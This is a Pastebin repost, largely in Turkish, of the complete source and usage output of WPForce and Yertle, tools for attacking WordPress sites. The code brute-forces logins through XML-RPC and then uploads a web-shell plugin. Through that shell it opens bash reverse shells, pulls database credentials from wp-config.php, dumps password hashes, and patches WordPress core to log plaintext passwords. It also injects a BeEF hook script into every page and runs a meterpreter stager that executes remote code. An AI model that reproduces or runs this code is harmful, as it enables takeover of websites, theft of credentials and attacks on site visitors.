KingSkrupellos

WPForce - Wordpress Attack Suite Cyberizm PHP Perl Code

Sep 14th, 2017
1,050
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.46 KB | None | 0 0
  1. WPZorlayıcı WordPress Deneme Yanılma Kırma Aracı 2017 Priv8 CDST
  2.  
  3. WPForce - Wordpress Attack Suite
  4.  
  5. [video=youtube]https://www.youtube.com/watch?v=FbKjQ7z0vsE[/video]
  6.  
  7. [video=youtube]https://www.youtube.com/watch?v=mURnM-Yp72g[/video]
  8.  
  9. [img]http://i.hizliresim.com/br6MM8.png[/img]
  10.  
  11. [img]http://i.hizliresim.com/qbv8R5.png[/img]
  12.  
  13. [img]http://i.hizliresim.com/M0DgWN.png[/img]
  14.  
  15. [img]http://i.hizliresim.com/Qa2YWk.png[/img]
  16.  
  17. [img]http://i.hizliresim.com/X06qq7.png[/img]
  18.  
  19. İngilizce olarak açıklanmış özellikler =>
  20.  
  21. Brute Force via API, not login form bypassing some forms of protection
  22. Can automatically upload an interactive shell
  23. Can be used to spawn a full featured reverse shell
  24. Dumps WordPress password hashes
  25. Can backdoor authentication fuction for plaintext password collection
  26. Inject BeEF hook into all pages
  27. Pivot to meterpreter if needed
  28.  
  29. Yüklemek için =>
  30.  
  31. [code]Yertle requires the requests libary to run.
  32. http://docs.python-requests.org/en/master/user/install/[/code]
  33.  
  34. Ana Kodlar ve Kullanımı =>
  35.  
  36. [code]python wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com"
  37.  
  38. ,-~~-.___. __ __ ____ _____
  39. / | x \ \ \ / /| _ \ | ___|___ _ __ ___ ___
  40. ( ) 0 \ \ /\ / / | |_) || |_ / _ \ | '__|/ __|/ _ \.
  41. \_/-, ,----' ____ \ V V / | __/ | _|| (_) || | | (__| __/
  42. ==== || \_ \_/\_/ |_| |_| \___/ |_| \___|\___|
  43. / \-'~; || |
  44. / __/~| ...||__/|-" Brute Force Attack Tool for Wordpress
  45. =( _____||________| ~n00py~
  46.  
  47. Username List: usr.txt (3)
  48. Password List: pass.txt (21)
  49. URL: http://www[website].com
  50. --------------------------
  51. [[email protected] : xxxxxxxxxxxxx] are valid credentials! - THIS ACCOUNT IS ADMIN
  52. --------------------------
  53. --------------------------
  54. [[email protected] : xxxxxxxxxxxx] are valid credentials!
  55. --------------------------
  56. 100% Percent Complete
  57. All correct pairs:
  58. {'[email protected]': 'xxxxxxxxxxxxx', '[email protected]': 'xxxxxxxxxxxxx'}
  59.  
  60. -h, --help show this help message and exit
  61. -i INPUT, --input INPUT
  62. Input file name
  63. -w WORDLIST, --wordlist WORDLIST
  64. Wordlist file name
  65. -u URL, --url URL URL of target
  66. -v, --verbose Verbose output. Show the attemps as they happen.
  67. -t THREADS, --threads THREADS
  68. Determines the number of threads to be used, default
  69. is 10
  70. -a AGENT, --agent AGENT
  71. Determines the user-agent
  72. -d, --debug This option is used for determining issues with the
  73. script.
  74.  
  75.  
  76. python yertle.py -u "[username]" -p "[password]" -t "http://www.[website].com" -i
  77. _..---.--. __ __ _ _
  78. .'\ __|/O.__) \ \ / /__ _ __| |_| | ___
  79. /__.' _/ .-'_\ \ V / _ \ '__| __| |/ _ \.
  80. (____.'.-_\____) | | __/ | | |_| | __/
  81. (_/ _)__(_ \_)\_ |_|\___|_| \__|_|\___|
  82. (_..)--(.._)'--' ~n00py~
  83. Post-exploitation Module for Wordpress
  84.  
  85. Backdoor uploaded!
  86. Upload Directory: ebwhbas
  87. os-shell>
  88.  
  89.  
  90.  
  91. -h, --help show this help message and exit
  92. -i, --interactive Interactive command shell
  93. -r, --reverse Reverse Shell
  94. -t TARGET, --target TARGET
  95. URL of target
  96. -u USERNAME, --username USERNAME
  97. Admin username
  98. -p PASSWORD, --password PASSWORD
  99. Admin password
  100. -li IP, --ip IP Listener IP
  101. -lp PORT, --port PORT
  102. Listener Port
  103. -v, --verbose Verbose output.
  104. -e EXISTING, --existing EXISTING
  105. Skips uploading a shell, and connects to existing
  106. shell
  107. [/code]
  108.  
  109. Yardım Sayfası Ana Kodları =>
  110.  
  111. [code]Core Commands
  112. =============
  113.  
  114. Command Description
  115. ------- -----------
  116. ? Help menu
  117. beef Injects a BeEF hook into website
  118. exit Terminate the session
  119. hashdump Dumps all WordPress password hashes
  120. help Help menu
  121. keylogger Patches WordPress core to log plaintext credentials
  122. keylog Displays keylog file
  123. meterpreter Executes a PHP meterpreter stager to connect to metasploit
  124. quit Terminate the session
  125. shell Sends a TCP reverse shell to a netcat listener
  126. stealth Hides Yertle from the plugins page[/code]
  127.  
  128. Wpforce.py Kodları =>
  129.  
  130. [code]import sys
  131. import time
  132. import socket
  133. import urllib2
  134. import argparse
  135. import threading
  136. __author__ = 'n00py)'
  137. # These variables must be shared by all threads dynamically
  138. correct_pairs = {}
  139. total = 0
  140.  
  141. def has_colours(stream):
  142. if not hasattr(stream, "isatty"):
  143. return False
  144. if not stream.isatty():
  145. return False # auto color only on TTYs
  146. try:
  147. import curses
  148. curses.setupterm()
  149. return curses.tigetnum("colors") > 2
  150. except:
  151. return False
  152. has_colours = has_colours(sys.stdout)
  153. BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
  154.  
  155.  
  156. def printout(text, colour=WHITE):
  157. if has_colours:
  158. seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m"
  159. sys.stdout.write(seq)
  160. else:
  161. sys.stdout.write(text)
  162.  
  163.  
  164. def slice_list(input, size):
  165. input_size = len(input)
  166. slice_size = input_size / size
  167. remain = input_size % size
  168. result = []
  169. iterator = iter(input)
  170. for i in range(size):
  171. result.append([])
  172. for j in range(slice_size):
  173. result[i].append(iterator.next())
  174. if remain:
  175. result[i].append(iterator.next())
  176. remain -= 1
  177. return result
  178.  
  179.  
  180. def worker(wordlist,thread_no,url,userlist,verbose,debug,agent):
  181. global total
  182. global correct_pairs
  183. for n in wordlist:
  184. current_pass = wordlist.index(n)
  185. for x in userlist:
  186. current_user = userlist.index(x)
  187. user = userlist[current_user]
  188. password = wordlist[current_pass]
  189. if user not in correct_pairs:
  190. PasswordAttempt(user,password,url,thread_no,verbose,debug,agent)
  191. total += 1
  192.  
  193.  
  194. def BuildThreads(list_array,url,debug,userlist,verbose,agent):
  195. if debug:
  196. print "Here is the content of the wordlists for each thread"
  197. for i in range(len(list_array)):
  198. print "Thread " + str(i)
  199. printout(str(list_array[i]), YELLOW)
  200. print "\n-----------------------------------------------------"
  201. threads = []
  202. for i in range(len(list_array)):
  203. t = threading.Thread(target=worker, args=(list_array[i], i, url,userlist,verbose,debug,agent))
  204. t.daemon = True
  205. threads.append(t)
  206. t.start()
  207.  
  208.  
  209. def PrintBanner(input,wordlist,url,userlist,passlist):
  210. banner = """\
  211. ,-~~-.___. __ __ ____ _____
  212. / | x \ \ \ / /| _ \ | ___|___ _ __ ___ ___
  213. ( ) 0 \ \ /\ / / | |_) || |_ / _ \ | '__|/ __|/ _ \.
  214. \_/-, ,----' ____ \ V V / | __/ | _|| (_) || | | (__| __/
  215. ==== || \_ \_/\_/ |_| |_| \___/ |_| \___|\___|
  216. / \-'~; || |
  217. / __/~| ...||__/|-" Brute Force Attack Tool for Wordpress
  218. =( _____||________| ~n00py~
  219. """
  220. print banner
  221. print ("Username List: %s" % input) + " (" + str(len(userlist)) + ")"
  222. print ("Password List: %s" % wordlist) + " (" + str(len(passlist)) + ")"
  223. print ("URL: %s" % url)
  224.  
  225.  
  226. def TestSite(url):
  227. protocheck(url)
  228. print "Trying: " + url
  229. try:
  230. urllib2.urlopen(url, timeout=3)
  231. except urllib2.HTTPError, e:
  232. if e.code == 405:
  233. print url + " found!"
  234. print "Now the brute force will begin! >:)"
  235. if e.code == 404:
  236. printout(str(e), YELLOW)
  237. print " - XMLRPC has been moved, removed, or blocked"
  238. sys.exit()
  239. except urllib2.URLError, g:
  240. printout("Could not identify XMLRPC. Please verify the domain.\n", YELLOW)
  241. sys.exit()
  242. except socket.timeout as e:
  243. print type(e)
  244. printout("The socket timed out, try it again.", YELLOW)
  245. sys.exit()
  246.  
  247.  
  248. def PasswordAttempt(user, password, url, thread_no,verbose,debug,agent):
  249. if verbose is True or debug is True:
  250. if debug is True:
  251. thready = "[Thread " + str(thread_no) + "]"
  252. printout(thready, YELLOW)
  253. print "Trying " + user + " : " + password + "\n",
  254. headers = {'User-Agent': agent,
  255. 'Connection': 'keep-alive',
  256. 'Accept': 'text/html'
  257. }
  258. post = "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>" + user + "</string></value></param><param><value><string>" + password + "</string></value></param></params></methodCall>"
  259. try:
  260. req = urllib2.Request(url, post, headers)
  261. response = urllib2.urlopen(req, timeout=3)
  262. the_page = response.read()
  263. look_for = "isAdmin"
  264. try:
  265. splitter = the_page.split(look_for, 1)[1]
  266. correct_pairs[user] = password
  267. print "--------------------------"
  268. success = "[" + user + " : " + password + "] are valid credentials! "
  269. adminAlert = ""
  270. if splitter[23] == "1":
  271. adminAlert = "- THIS ACCOUNT IS ADMIN"
  272. printout(success, GREEN)
  273. printout(adminAlert, RED)
  274. print "\n--------------------------"
  275. except:
  276. pass
  277. except urllib2.URLError, e:
  278. if e.code == 404 or e.code == 403:
  279. global total
  280. printout(str(e), YELLOW)
  281. print " - WAF or security plugin likely in use"
  282. total = len(passlist)
  283. sys.exit()
  284. else:
  285. printout(str(e), YELLOW)
  286. print " - Try reducing Thread count "
  287. if args.verbose is True or args.debug is True:
  288. print user + ":" + password + " was skipped"
  289. except socket.timeout as e:
  290. printout(str(e), YELLOW)
  291. print " - Try reducing Thread count "
  292. if args.verbose is True or args.debug is True:
  293. print user + ":" + password + " was skipped"
  294. except socket.error as e:
  295. printout(str(e), YELLOW)
  296. print " - Got an RST, Probably tripped the firewall\n",
  297. total = len(passlist)
  298. sys.exit()
  299.  
  300.  
  301. def protocheck(url):
  302. if "http" not in url:
  303. printout("Please include the protocol in the URL\n", YELLOW)
  304. sys.exit()
  305. def main():
  306. parser = argparse.ArgumentParser(description='This is a tool to brute force Worpress using the Wordpress API')
  307. parser.add_argument('-i','--input', help='Input file name',required=True)
  308. parser.add_argument('-w','--wordlist',help='Wordlist file name', required=True)
  309. parser.add_argument('-u','--url',help='URL of target', required=True)
  310. parser.add_argument('-v','--verbose',help=' Verbose output. Show the attemps as they happen.', required=False, action='store_true')
  311. parser.add_argument('-t','--threads',help=' Determines the number of threads to be used, default is 10', type=int, default=10, required=False)
  312. parser.add_argument('-a','--agent',help=' Determines the user-agent', type=str, default="WPForce Wordpress Attack Tool 1.0", required=False)
  313. parser.add_argument('-d','--debug',help=' This option is used for determining issues with the script.', action='store_true', required=False)
  314. args = parser.parse_args()
  315. url = args.url + '/xmlrpc.php'
  316. u = open(args.input, 'r')
  317. userlist = u.read().split('\n')
  318. totalusers = len(userlist)
  319. f = open(args.wordlist, 'r')
  320. passlist = f.read().split('\n')
  321. PrintBanner(args.input,args.wordlist,args.url,userlist,passlist)
  322. TestSite(url)
  323.  
  324. list_array = slice_list(passlist, args.threads)
  325. BuildThreads(list_array,url,args.debug,userlist,args.verbose,args.agent)
  326. while (len(correct_pairs) <= totalusers) and (len(passlist) > total):
  327. time.sleep(0.1)
  328. sys.stdout.flush()
  329. percent = "%.0f%%" % (100 * (total)/len(passlist))
  330. print " " + percent + " Percent Complete\r",
  331. print "\nAll correct pairs:"
  332. printout(str(correct_pairs), GREEN)
  333. print ""
  334.  
  335. if __name__ == "__main__":
  336.  
  337. main()[/code]
  338.  
  339. Yertle.Py Dosyası =>
  340.  
  341. [code]import re
  342. import sys
  343. import base64
  344. import readline
  345. import requests
  346. import argparse
  347. from random import choice
  348. from string import ascii_lowercase
  349. __author__ = '(n00py)'
  350.  
  351.  
  352. def uploadbackdoor(host,username,password,type,verbose, agent):
  353. if host.endswith('/'):
  354. host = host[:-1]
  355. url = host + '/wp-login.php'
  356. headers = {'user-agent': agent,
  357. 'Accept-Encoding' : 'none'
  358. }
  359. payload = {'log': username,
  360. 'pwd': password,
  361. 'rememberme': 'forever',
  362. 'wp-submit': 'log In',
  363. 'redirect_to': host + '/wp-admin/',
  364. 'testcookie': 1,
  365. }
  366. uploaddir = (''.join(choice(ascii_lowercase) for i in range(7)))
  367. session = requests.Session()
  368.  
  369. r = session.post(url, headers=headers, data=payload)
  370. if verbose is True:
  371. print "Server Header: " + r.headers['Server']
  372. if r.status_code == 200:
  373. if verbose is True:
  374. print "Found Login Page"
  375. r3 = session.get(host + '/wp-admin/plugin-install.php?tab=upload',headers=headers)
  376. if r3.status_code == 200:
  377. if verbose is True:
  378. print "Logged in as Admin"
  379. look_for = 'name="_wpnonce" value="'
  380. try:
  381. nonceText = r3.text.split(look_for, 1)[1]
  382. nonce = nonceText[0:10]
  383. if verbose is True:
  384. print "Found CSRF Token: " + nonce
  385. except:
  386. print "Didn't find nonce"
  387.  
  388. files = {'pluginzip': (uploaddir + '.zip', open(type +'.zip', 'rb')),
  389. '_wpnonce': (None, nonce),
  390. '_wp_http_referer': (None, host + '/wp-admin/plugin-install.php?tab=upload'),
  391. 'install-plugin-submit': (None,'Install Now')
  392.  
  393. }
  394. r4 = session.post(host + "/wp-admin/update.php?action=upload-plugin",headers=headers, files=files)
  395. if r.status_code == 200:
  396. print "Backdoor uploaded!"
  397. if "Plugin installed successfully" in r4.text:
  398. if verbose is True:
  399. print "Plugin installed successfully"
  400.  
  401. if "Destination folder already exists" in r4.text:
  402. if verbose is True:
  403. print "Destination folder already exists"
  404. print "Upload Directory: " + uploaddir
  405. return uploaddir
  406.  
  407.  
  408. def commandloop(host,uploaddir):
  409. while True:
  410. cmd = raw_input('os-shell> ')
  411. params = [('cmd', cmd.encode('base64'))]
  412. if (cmd == "quit") or (cmd == "exit"):
  413. sys.exit(2)
  414. elif cmd == "help" or cmd == "?":
  415. print '''
  416. Core Commands
  417. =============
  418. Command Description
  419. ------- -----------
  420. ? Help menu
  421. beef Injects a BeEF hook into website
  422. exit Terminate the session
  423. hashdump Dumps all WordPress password hashes
  424. help Help menu
  425. keylogger Patches WordPress core to log plaintext credentials
  426. keylog Displays keylog file
  427. meterpreter Executes a PHP meterpreter stager to connect to metasploit
  428. quit Terminate the session
  429. shell Sends a TCP reverse shell to a netcat listener
  430. stealth Hides Yertle from the plugins page
  431. '''
  432. elif cmd == "hashdump":
  433. hashdump(host, uploaddir)
  434. elif cmd == "shell":
  435. shell(host, uploaddir)
  436. elif cmd == "stealth":
  437. stealth(host, uploaddir)
  438. elif cmd == "keylogger":
  439. keylogger(host, uploaddir)
  440. elif cmd == "keylog":
  441. keylog(host, uploaddir)
  442. elif cmd == "meterpreter":
  443. meterpreter(host, uploaddir)
  444. elif cmd == "beef":
  445. beefhook(host, uploaddir)
  446. else:
  447. print "Sent command: " + cmd
  448. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  449. print sendcommand.text
  450.  
  451.  
  452. def reverseshell(host, ip, port,uploaddir):
  453. params = [('ip', ip), ('port', port)]
  454. print "Sending reverse shell to " + ip + " port " + port
  455. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/reverse.php", params=params)
  456.  
  457.  
  458. def datacreds(host,uploaddir):
  459. params = [('cmd', 'cat ../../../wp-config.php'.encode('base64'))]
  460. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  461. user = credextract(sendcommand.text, 'DB_USER')
  462. password = credextract(sendcommand.text, 'DB_PASSWORD')
  463. host = credextract(sendcommand.text, 'DB_HOST')
  464. db = credextract(sendcommand.text, 'DB_NAME')
  465. return host, user, password, db
  466.  
  467.  
  468. def credextract(list, key):
  469. s = list
  470. start = s.find(key)
  471. end = s.find(';', start)
  472. s = s[start:end]
  473. se = s.split("'")
  474. return se[2]
  475.  
  476.  
  477. def shell(host,uploaddir):
  478. ip = raw_input('IP Address: ')
  479. port = raw_input('Port: ')
  480. params = [('cmd', ('php -r \'$sock=fsockopen("' + ip + '",' + port + ');exec("/bin/bash -i <&3 >&3 2>&3");\'').encode('base64'))]
  481. try:
  482. print "Sending reverse shell to " + ip + " port " + port
  483. requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params, timeout=1)
  484. except requests.exceptions.Timeout:
  485. pass
  486.  
  487.  
  488. def keylog(host,uploaddir):
  489. params = [('cmd', ('cat passwords.txt').encode('base64'))]
  490. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  491. print sendcommand.text
  492.  
  493.  
  494. def stealth(host,uploaddir):
  495. hidden_shell = '''<?php
  496. $command = $_GET["cmd"];
  497. $command = substr($command, 0, -1);
  498. $command = base64_decode($command);
  499. if (class_exists('ReflectionFunction')) {
  500. $function = new ReflectionFunction('system');
  501. $thingy = $function->invoke($command );
  502. } elseif (function_exists('call_user_func_array')) {
  503. call_user_func_array('system', array($command));
  504. } elseif (function_exists('call_user_func')) {
  505. call_user_func('system', $command);
  506. } else {
  507. system($command);
  508. }
  509. ?>
  510. '''
  511. payload = hidden_shell.encode('base64')
  512. params = [
  513. ('cmd', ('php -r \'echo base64_decode("' + payload + '");\' > shell.php').encode('base64'))]
  514. requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  515.  
  516.  
  517. def warning():
  518. cmd = raw_input('This module modifies files within the WordPress core. Would you like to continue? (Y/n) ')
  519. if ("y" in cmd) or("Y" in cmd):
  520. return True
  521. else:
  522. return False
  523.  
  524.  
  525. def meterpreter(host,uploaddir):
  526. ip = raw_input('IP Address: ')
  527. port = raw_input('Port: ')
  528. meter = '''<?php
  529. error_reporting(0);
  530. $ip = '%s';
  531. $port = %s;
  532. if (($f = 'stream_socket_client') && is_callable($f)) {
  533. $s = $f("tcp://{$ip}:{$port}");
  534. $s_type = 'stream';
  535. } elseif (($f = 'fsockopen') && is_callable($f)) {
  536. $s = $f($ip, $port);
  537. $s_type = 'stream';
  538. } elseif (($f = 'socket_create') && is_callable($f)) {
  539. $s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
  540. $res = @socket_connect($s, $ip, $port);
  541. if (!$res) {
  542. die();
  543. }
  544. $s_type = 'socket';
  545. } else {
  546. die('no socket funcs');
  547. }
  548. if (!$s) {
  549. die('no socket');
  550. }
  551. switch ($s_type) {
  552. case 'stream':
  553. $len = fread($s, 4);
  554. break;
  555. case 'socket':
  556. $len = socket_read($s, 4);
  557. break;
  558. }
  559. if (!$len) {
  560. die();
  561. }
  562. $a = unpack("Nlen", $len);
  563. $len = $a['len'];
  564. $b = '';
  565. while (strlen($b) < $len) {
  566. switch ($s_type) {
  567. case 'stream':
  568. $b .= fread($s, $len - strlen($b));
  569. break;
  570. case 'socket':
  571. $b .= socket_read($s, $len - strlen($b));
  572. break;
  573. }
  574. }
  575. $GLOBALS['msgsock'] = $s;
  576. $GLOBALS['msgsock_type'] = $s_type;
  577. eval($b);
  578. die();
  579. ?>
  580. ''' % (ip, port)
  581. payload = meter.encode('base64')
  582. params = [
  583. ('cmd', ('php -r \'echo base64_decode("' + payload + '");\' > meterpreter.php').encode('base64'))]
  584. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  585. params = [
  586. ('cmd', 'php meterpreter.php'.encode('base64'))]
  587. try:
  588. print "Sending meterpreter stager to connect back to " + ip + ":" + port
  589. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params, timeout=1)
  590. except requests.exceptions.Timeout:
  591. pass
  592. print sendcommand.text
  593.  
  594.  
  595. def keylogger(host,uploaddir):
  596. if warning():
  597. hook = '''$credentials['remember'] = false;
  598. $file = 'wp-content/plugins/%s/passwords.txt';
  599. $credz = date('Y-m-d') . " - Username: " . $_POST['log'] . " && Password: " . $_POST['pwd'] . "\n";
  600. file_put_contents($file, $credz, FILE_APPEND | LOCK_EX);''' % (uploaddir)
  601.  
  602. hook = hook.encode('base64')
  603. injector = '''<?php
  604. $real = "JGNyZWRlbnRpYWxzWydyZW1lbWJlciddID0gZmFsc2U7";
  605. $evil = "%s";
  606. $real = base64_decode($real);
  607. $evil = base64_decode($evil);
  608. $orig=file_get_contents('../../../wp-includes/user.php');
  609. $orig=str_replace("$real", "$evil",$orig);
  610. file_put_contents('../../../wp-includes/user.php', $orig);
  611. ?>''' % hook
  612. payload = injector.encode('base64')
  613. params = [
  614. ('cmd', ('php -r \'echo base64_decode("' + payload + '");\' > backdoor.php').encode('base64'))]
  615. requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  616. params = [
  617. ('cmd', 'php backdoor.php'.encode('base64'))]
  618. requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  619. print "wp_signon function patched. Do not run this more than once. Use 'keylog' to check the log file."
  620.  
  621.  
  622. def hashdump(host,uploaddir):
  623. items = datacreds(host, uploaddir)
  624. dumper = '''<?php
  625. $servername = "%s";
  626. $username = "%s";
  627. $password = "%s";
  628. $dbname = "%s";
  629. // Create connection
  630. $conn = new mysqli($servername, $username, $password, $dbname);
  631. // Check connection
  632. if ($conn->connect_error) {
  633. die("Connection failed: " . $conn->connect_error);
  634. }
  635. $sql = "SELECT ID, user_login, user_pass, user_email FROM wp_users";
  636. $result = $conn->query($sql);
  637. if ($result->num_rows > 0) {
  638. // output data of each row
  639. while($row = $result->fetch_assoc()) {
  640. echo "ID: " . $row["ID"]. " - Username: " . $row["user_login"]. " Password: " . $row["user_pass"]. " Email: " . $row["user_email"]. "\n";
  641. }
  642. } else {
  643. echo "0 results";
  644. }
  645. $conn->close();
  646. ?> ''' % (items[0], items[1], items[2], items[3])
  647. payload = dumper.encode('base64')
  648.  
  649. params = [
  650. ('cmd', ('php -r \'echo base64_decode("' + payload + '");\' > hashdump.php').encode('base64'))]
  651. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  652. params = [
  653. ('cmd', 'php hashdump.php'.encode('base64'))]
  654. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  655. print sendcommand.text
  656.  
  657.  
  658. def beefhook(host,uploaddir):
  659. if warning():
  660. ip = raw_input('IP Address: ')
  661. params = [
  662. ('cmd',('sed -i \'1i\<script src=\"http://' + ip + ':3000/hook.js\"\>\</script\>\' ../../../wp-blog-header.php').encode('base64'))]
  663. sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
  664. print "BeEF hook added! Check BeEF for any hooked clients. Do not run this multiple times."
  665.  
  666.  
  667. def printbanner():
  668. banner = """\
  669. _..---.--. __ __ _ _
  670. .'\ __|/O.__) \ \ / /__ _ __| |_| | ___
  671. /__.' _/ .-'_\ \ V / _ \ '__| __| |/ _ \.
  672. (____.'.-_\____) | | __/ | | |_| | __/
  673. (_/ _)__(_ \_)\_ |_|\___|_| \__|_|\___|
  674. (_..)--(.._)'--' ~n00py~
  675. Post-exploitation Module for Wordpress
  676. """
  677. print banner
  678.  
  679.  
  680. def argcheck(interactive,reverse,target):
  681. if interactive and reverse:
  682. print "-i and -r are mutually exclusive"
  683. sys.exit()
  684.  
  685. if interactive is False and reverse is False:
  686. print "You must choose a type of shell: --reverse or --interactive"
  687. sys.exit()
  688.  
  689. if "http" not in target:
  690. print"Please include the protocol in the URL"
  691. sys.exit()
  692.  
  693.  
  694. def main():
  695. parser = argparse.ArgumentParser(description='This a post-exploitation module for Wordpress')
  696. parser.add_argument('-i','--interactive', help='Interactive command shell',required=False, action='store_true')
  697. parser.add_argument('-r','--reverse',help='Reverse Shell', required=False, action='store_true')
  698. parser.add_argument('-t','--target',help='URL of target', required=True)
  699. parser.add_argument('-u','--username',help='Admin username', required=False)
  700. parser.add_argument('-p','--password',help='Admin password', required=False)
  701. parser.add_argument('-a', '--agent', help='Custom User Agent', required=False, default='Yertle backdoor uploader')
  702. parser.add_argument('-li','--ip',help='Listener IP', required=False)
  703. parser.add_argument('-lp','--port',help='Listener Port', required=False)
  704. parser.add_argument('-v','--verbose',help=' Verbose output.', required=False, action='store_true')
  705. parser.add_argument('-e','--existing',help=' Skips uploading a shell, and connects to existing shell', required=False)
  706. args = parser.parse_args()
  707. printbanner()
  708. argcheck(args.interactive,args.reverse,args.target)
  709. if args.interactive:
  710. if args.existing is None:
  711. if args.username is None or args.password is None:
  712. print "Username and Password are required"
  713. sys.exit()
  714. uploaddir = uploadbackdoor(args.target, args.username, args.password, "shell", args.verbose, args.agent)
  715. else:
  716. uploaddir = args.existing
  717. commandloop(args.target,uploaddir)
  718.  
  719. if args.reverse:
  720. if args.ip is None or args.port is None:
  721. print "For a reverse shell, a listening IP and Port are required"
  722. sys.exit()
  723. if args.existing is None:
  724. if args.username is None or args.password is None:
  725. print "Username and Password are required"
  726. sys.exit()
  727. uploaddir = uploadbackdoor(args.target, args.username, args.password, "reverse", args.verbose, args.agent)
  728. else:
  729. uploaddir = args.existing
  730. reverseshell(args.target, args.ip, args.port, uploaddir)
  731.  
  732.  
  733. if __name__ == "__main__":
  734. main()[/code]
  735.  
  736. Yardım Makalesi =>
  737.  
  738. [hide][code]https://www.n00py.io/2017/03/squeezing-the-juice-out-of-a-compromised-wordpress-server/[/code][/hide]
  739.  
  740. Dosyayı İndirme Linki =>
  741.  
  742. [hide][code]https://github.com/n00py/WPForce[/code][/hide]
  743.  
  744. ### Selam ve Duam ile. Makalenin Tamamı Mr. KingSkrupellos Cyberizm.Org'a aittir. ####
Add Comment
Please, Sign In to add comment